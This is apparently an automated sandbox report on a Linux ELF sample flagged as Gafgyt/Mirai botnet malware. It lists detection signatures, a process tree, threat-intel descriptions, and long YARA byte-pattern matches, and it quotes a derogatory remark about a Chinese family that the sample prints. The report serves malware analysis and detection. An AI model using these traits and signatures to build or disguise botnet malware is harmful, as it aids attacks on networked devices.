Edit tour

Linux Analysis Report
x86.elf

Overview

General Information

Sample name:	x86.elf
Analysis ID:	1568651
MD5:	940e95cef426d7a84b553331473fcf32
SHA1:	4bf7243b8d7d40b8a32817d76bfce8d827c6e32c
SHA256:	3a38b4de6a1f5d29b197a2ca23e87d97d912068fbfb2afeed30105f273f431a4
Tags:	elfuser-abuse_ch
Infos:

Detection

Gafgyt, Mirai

Score:	100
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Gafgyt

Yara detected Mirai

Connects to many ports of the same IP (likely port scanning)

Contains symbols with names commonly found in malware

Machine Learning detection for sample

Opens /proc/net/* files useful for finding connected devices and routers

Uses known network protocols on non-standard ports

Detected TCP or UDP traffic on non-standard ports

HTTP GET or POST without a user agent

Sample and/or dropped files contains symbols with suspicious names

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample contains strings that are user agent strings indicative of HTTP manipulation

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Yara signature match

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1568651
Start date and time:	2024-12-04 20:33:46 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 12s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	x86.elf
Detection:	MAL
Classification:	mal100.spre.troj.linELF@0/0@3/0

Warnings

HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
Report size exceeded maximum capacity and may have missing network information.
VT rate limit hit for: x86.elf

Runtime Messages

Command:	/tmp/x86.elf
PID:	5488
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	gosh that chinese family at the other table sure ate alot
Standard Error:

Process Tree

system is lnxubuntu20

x86.elf (PID: 5488, Parent: 5414, MD5: 940e95cef426d7a84b553331473fcf32) Arguments: /tmp/x86.elf

x86.elf New Fork (PID: 5489, Parent: 5488)

x86.elf New Fork (PID: 5490, Parent: 5488)

x86.elf New Fork (PID: 5491, Parent: 5488)

x86.elf New Fork (PID: 5492, Parent: 5488)

x86.elf New Fork (PID: 5494, Parent: 5488)

x86.elf New Fork (PID: 5495, Parent: 5494)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Bashlite, Gafgyt	Bashlite is a malware family which infects Linux systems in order to launch distributed denial-of-service attacks (DDoS). Originally it was also known under the name Bashdoor, but this term now refers to the exploit method used by the malware. It has been used to launch attacks of up to 400 Gbps.	No Attribution	http://blog.trendmicro.com/trendlabs-security-intelligence/bashlite-affects-devices-running-on-busybox/ https://blog.cyber5w.com/gafgyt-backdoor-analysis https://blog.netlab.360.com/gafgtyt_tor-and-necro-are-on-the-move-again/ https://blog.netlab.360.com/public-cloud-threat-intelligence-202203/ https://blog.netlab.360.com/some_details_of_the_ddos_attacks_targeting_ukraine_and_russia_in_recent_days/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.bashlite

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
x86.elf	JoeSecurity_Gafgyt	Yara detected Gafgyt	Joe Security
x86.elf	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
x86.elf	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
x86.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
x86.elf	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x16980:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16994:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x169a8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x169bc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x169d0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x169e4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x169f8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16a0c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16a20:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16a34:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16a48:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16a5c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16a70:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16a84:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16a98:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16aac:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16ac0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16ad4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16ae8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16afc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16b10:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
x86.elf	Linux_Trojan_Gafgyt_a6a2adb9	unknown	unknown	0x22e6:$a: CC 01 C2 89 55 B4 8B 45 B4 C9 C3 55 48 89 E5 48 81 EC 90 00
x86.elf	Linux_Trojan_Gafgyt_9e9530a7	unknown	unknown	0xf964:$a: F6 48 63 FF B8 36 00 00 00 0F 05 48 3D 00 F0 FF FF 48 89 C3
x86.elf	Linux_Trojan_Gafgyt_f3d83a74	unknown	unknown	0x220d:$a: DC 00 74 1B 83 7D E0 0A 75 15 83 7D E4 00 79 0F C7 45 C8 01 00
x86.elf	Linux_Trojan_Gafgyt_807911a2	unknown	unknown	0x10153:$a: FE 48 39 F3 0F 94 C2 48 83 F9 FF 0F 94 C0 84 D0 74 16 4B 8D
x86.elf	Linux_Trojan_Gafgyt_e0673a90	unknown	unknown	0x2f5c:$a: 45 E8 0F B6 00 84 C0 74 17 48 8B 75 E8 48 FF C6 48 8B 7D F0 48
x86.elf	Linux_Trojan_Gafgyt_a0a4de11	unknown	unknown	0x3f72:$a: 42 0D 83 C8 10 88 42 0D 48 8B 55 D8 0F B6 42 0D 83 C8 08 88
x86.elf	Linux_Trojan_Gafgyt_d4227dbf	unknown	unknown	0xce4e:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00 0xd054:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00
x86.elf	Linux_Trojan_Gafgyt_09c3070e	unknown	unknown	0x315b:$a: 48 C1 E8 06 48 89 C6 48 8B 94 C5 50 FF FF FF 8B 8D 2C FF FF FF 83 0x320e:$a: 48 C1 E8 06 48 89 C6 48 8B 94 C5 50 FF FF FF 8B 8D 2C FF FF FF 83 0x3444:$a: 48 C1 E8 06 48 89 C6 48 8B 94 C5 50 FF FF FF 8B 8D 2C FF FF FF 83
x86.elf	Linux_Trojan_Gafgyt_46eec778	unknown	unknown	0x27c:$a: C0 01 45 F8 48 83 45 E8 02 83 6D C8 02 83 7D C8 01 7F E4 83 7D 0x35a:$a: C0 01 45 F8 48 83 45 E8 02 83 6D C8 02 83 7D C8 01 7F E4 83 7D
x86.elf	Linux_Trojan_Gafgyt_d996d335	unknown	unknown	0x12ace:$a: D0 EB 0F 40 38 37 75 04 48 89 F8 C3 49 FF C8 48 FF C7 4D 85 C0
x86.elf	Linux_Trojan_Gafgyt_d0c57a2e	unknown	unknown	0x14652:$a: 07 0F B6 57 01 C1 E0 08 09 D0 89 06 0F BE 47 02 C1 E8 1F 89
x86.elf	Linux_Trojan_Gafgyt_656bf077	unknown	unknown	0x2f1e:$a: 74 28 48 8B 45 E8 0F B6 00 84 C0 74 14 48 8B 75 E8 48 FF C6 48 8B
x86.elf	Linux_Trojan_Gafgyt_620087b9	unknown	unknown	0xfd13:$a: 48 89 D8 48 83 C8 01 EB 04 48 8B 76 10 48 3B 46 08 72 F6 48 8B
x86.elf	Linux_Trojan_Gafgyt_dd0d6173	unknown	unknown	0x37fb:$a: 55 F8 8B 45 F0 89 42 0C 48 8B 55 F8 8B 45 F4 89 42 10 C9 C3 55 48
x86.elf	Linux_Trojan_Gafgyt_779e142f	unknown	unknown	0x2135:$a: EC 8B 45 E8 83 E0 02 85 C0 74 07 C7 45 D8 30 00 00 00 8B 45 E8 83
x86.elf	Linux_Trojan_Gafgyt_cf84c9f2	unknown	unknown	0x2df1:$a: 55 48 89 E5 48 83 EC 30 48 89 7D E8 89 75 E4 89 55 E0 C7 45 F8 01 00
x86.elf	Linux_Trojan_Gafgyt_0cd591cd	unknown	unknown	0xeec2:$a: 4E F8 48 8D 4E D8 49 8D 42 E0 48 83 C7 03 EB 6B 4C 8B 46 F8 48 8D
x86.elf	Linux_Trojan_Gafgyt_33b4111a	unknown	unknown	0xffde:$a: C1 83 E1 0F 74 1A B8 10 00 00 00 48 29 C8 48 8D 0C 02 48 89 DA 48
x86.elf	Linux_Trojan_Gafgyt_862c4e0e	unknown	unknown	0x2f7:$a: 02 89 45 F8 8B 45 F8 C1 E8 10 85 C0 75 E6 8B 45 F8 F7 D0 0F 0x3d5:$a: 02 89 45 F8 8B 45 F8 C1 E8 10 85 C0 75 E6 8B 45 F8 F7 D0 0F
x86.elf	Linux_Trojan_Gafgyt_32eb0c81	unknown	unknown	0x2182:$a: D4 48 FF 45 F0 48 8B 45 F0 0F B6 00 84 C0 75 DB EB 12 48 8B
x86.elf	Linux_Trojan_Gafgyt_a33a8363	unknown	unknown	0xf0bb:$a: 41 88 02 48 85 D2 75 ED 5A 5B 5D 41 5C 41 5D 4C 89 F0 41 5E
x86.elf	Linux_Trojan_Mirai_3fe3c668	unknown	unknown	0xc5ea:$a: 00 84 C0 0F 95 C0 48 FF 45 E8 84 C0 75 E9 8B 45 FC C9 C3 55 48
x86.elf	Linux_Trojan_Mirai_637f2c04	unknown	unknown	0xc647:$a: 10 48 8B 45 E0 0F B6 00 38 C2 0F 95 C0 48 FF 45 E8 48 FF 45 E0 0xc6bd:$a: 10 48 8B 45 E0 0F B6 00 38 C2 0F 95 C0 48 FF 45 E8 48 FF 45 E0
Click to see the 23 entries

Memory Dumps

Source	Rule	Description	Author	Strings
5488.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5488.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
5488.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5488.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x16980:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16994:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x169a8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x169bc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x169d0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x169e4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x169f8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16a0c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16a20:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16a34:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16a48:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16a5c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16a70:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16a84:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16a98:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16aac:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16ac0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16ad4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16ae8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16afc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16b10:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
5488.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_a6a2adb9	unknown	unknown	0x22e6:$a: CC 01 C2 89 55 B4 8B 45 B4 C9 C3 55 48 89 E5 48 81 EC 90 00
5488.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_9e9530a7	unknown	unknown	0xf964:$a: F6 48 63 FF B8 36 00 00 00 0F 05 48 3D 00 F0 FF FF 48 89 C3
5488.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_f3d83a74	unknown	unknown	0x220d:$a: DC 00 74 1B 83 7D E0 0A 75 15 83 7D E4 00 79 0F C7 45 C8 01 00
5488.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_807911a2	unknown	unknown	0x10153:$a: FE 48 39 F3 0F 94 C2 48 83 F9 FF 0F 94 C0 84 D0 74 16 4B 8D
5488.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_e0673a90	unknown	unknown	0x2f5c:$a: 45 E8 0F B6 00 84 C0 74 17 48 8B 75 E8 48 FF C6 48 8B 7D F0 48
5488.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_a0a4de11	unknown	unknown	0x3f72:$a: 42 0D 83 C8 10 88 42 0D 48 8B 55 D8 0F B6 42 0D 83 C8 08 88
5488.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_d4227dbf	unknown	unknown	0xce4e:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00 0xd054:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00
5488.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_09c3070e	unknown	unknown	0x315b:$a: 48 C1 E8 06 48 89 C6 48 8B 94 C5 50 FF FF FF 8B 8D 2C FF FF FF 83 0x320e:$a: 48 C1 E8 06 48 89 C6 48 8B 94 C5 50 FF FF FF 8B 8D 2C FF FF FF 83 0x3444:$a: 48 C1 E8 06 48 89 C6 48 8B 94 C5 50 FF FF FF 8B 8D 2C FF FF FF 83
5488.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_46eec778	unknown	unknown	0x27c:$a: C0 01 45 F8 48 83 45 E8 02 83 6D C8 02 83 7D C8 01 7F E4 83 7D 0x35a:$a: C0 01 45 F8 48 83 45 E8 02 83 6D C8 02 83 7D C8 01 7F E4 83 7D
5488.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_d996d335	unknown	unknown	0x12ace:$a: D0 EB 0F 40 38 37 75 04 48 89 F8 C3 49 FF C8 48 FF C7 4D 85 C0
5488.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_d0c57a2e	unknown	unknown	0x14652:$a: 07 0F B6 57 01 C1 E0 08 09 D0 89 06 0F BE 47 02 C1 E8 1F 89
5488.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_656bf077	unknown	unknown	0x2f1e:$a: 74 28 48 8B 45 E8 0F B6 00 84 C0 74 14 48 8B 75 E8 48 FF C6 48 8B
5488.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_620087b9	unknown	unknown	0xfd13:$a: 48 89 D8 48 83 C8 01 EB 04 48 8B 76 10 48 3B 46 08 72 F6 48 8B
5488.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_dd0d6173	unknown	unknown	0x37fb:$a: 55 F8 8B 45 F0 89 42 0C 48 8B 55 F8 8B 45 F4 89 42 10 C9 C3 55 48
5488.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_779e142f	unknown	unknown	0x2135:$a: EC 8B 45 E8 83 E0 02 85 C0 74 07 C7 45 D8 30 00 00 00 8B 45 E8 83
5488.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_cf84c9f2	unknown	unknown	0x2df1:$a: 55 48 89 E5 48 83 EC 30 48 89 7D E8 89 75 E4 89 55 E0 C7 45 F8 01 00
5488.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_0cd591cd	unknown	unknown	0xeec2:$a: 4E F8 48 8D 4E D8 49 8D 42 E0 48 83 C7 03 EB 6B 4C 8B 46 F8 48 8D
5488.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_33b4111a	unknown	unknown	0xffde:$a: C1 83 E1 0F 74 1A B8 10 00 00 00 48 29 C8 48 8D 0C 02 48 89 DA 48
5488.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_862c4e0e	unknown	unknown	0x2f7:$a: 02 89 45 F8 8B 45 F8 C1 E8 10 85 C0 75 E6 8B 45 F8 F7 D0 0F 0x3d5:$a: 02 89 45 F8 8B 45 F8 C1 E8 10 85 C0 75 E6 8B 45 F8 F7 D0 0F
5488.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_32eb0c81	unknown	unknown	0x2182:$a: D4 48 FF 45 F0 48 8B 45 F0 0F B6 00 84 C0 75 DB EB 12 48 8B
5488.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_a33a8363	unknown	unknown	0xf0bb:$a: 41 88 02 48 85 D2 75 ED 5A 5B 5D 41 5C 41 5D 4C 89 F0 41 5E
5488.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_3fe3c668	unknown	unknown	0xc5ea:$a: 00 84 C0 0F 95 C0 48 FF 45 E8 84 C0 75 E9 8B 45 FC C9 C3 55 48
5488.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_637f2c04	unknown	unknown	0xc647:$a: 10 48 8B 45 E0 0F B6 00 38 C2 0F 95 C0 48 FF 45 E8 48 FF 45 E0 0xc6bd:$a: 10 48 8B 45 E0 0F B6 00 38 C2 0F 95 C0 48 FF 45 E8 48 FF 45 E0
5489.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5489.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
5489.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5489.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x16980:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16994:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x169a8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x169bc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x169d0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x169e4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x169f8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16a0c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16a20:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16a34:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16a48:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16a5c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16a70:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16a84:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16a98:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16aac:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16ac0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16ad4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16ae8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16afc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16b10:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
5489.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_a6a2adb9	unknown	unknown	0x22e6:$a: CC 01 C2 89 55 B4 8B 45 B4 C9 C3 55 48 89 E5 48 81 EC 90 00
5489.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_9e9530a7	unknown	unknown	0xf964:$a: F6 48 63 FF B8 36 00 00 00 0F 05 48 3D 00 F0 FF FF 48 89 C3
5489.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_f3d83a74	unknown	unknown	0x220d:$a: DC 00 74 1B 83 7D E0 0A 75 15 83 7D E4 00 79 0F C7 45 C8 01 00
5489.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_807911a2	unknown	unknown	0x10153:$a: FE 48 39 F3 0F 94 C2 48 83 F9 FF 0F 94 C0 84 D0 74 16 4B 8D
5489.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_e0673a90	unknown	unknown	0x2f5c:$a: 45 E8 0F B6 00 84 C0 74 17 48 8B 75 E8 48 FF C6 48 8B 7D F0 48
5489.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_a0a4de11	unknown	unknown	0x3f72:$a: 42 0D 83 C8 10 88 42 0D 48 8B 55 D8 0F B6 42 0D 83 C8 08 88
5489.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_d4227dbf	unknown	unknown	0xce4e:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00 0xd054:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00
5489.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_09c3070e	unknown	unknown	0x315b:$a: 48 C1 E8 06 48 89 C6 48 8B 94 C5 50 FF FF FF 8B 8D 2C FF FF FF 83 0x320e:$a: 48 C1 E8 06 48 89 C6 48 8B 94 C5 50 FF FF FF 8B 8D 2C FF FF FF 83 0x3444:$a: 48 C1 E8 06 48 89 C6 48 8B 94 C5 50 FF FF FF 8B 8D 2C FF FF FF 83
5489.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_46eec778	unknown	unknown	0x27c:$a: C0 01 45 F8 48 83 45 E8 02 83 6D C8 02 83 7D C8 01 7F E4 83 7D 0x35a:$a: C0 01 45 F8 48 83 45 E8 02 83 6D C8 02 83 7D C8 01 7F E4 83 7D
5489.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_d996d335	unknown	unknown	0x12ace:$a: D0 EB 0F 40 38 37 75 04 48 89 F8 C3 49 FF C8 48 FF C7 4D 85 C0
5489.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_d0c57a2e	unknown	unknown	0x14652:$a: 07 0F B6 57 01 C1 E0 08 09 D0 89 06 0F BE 47 02 C1 E8 1F 89
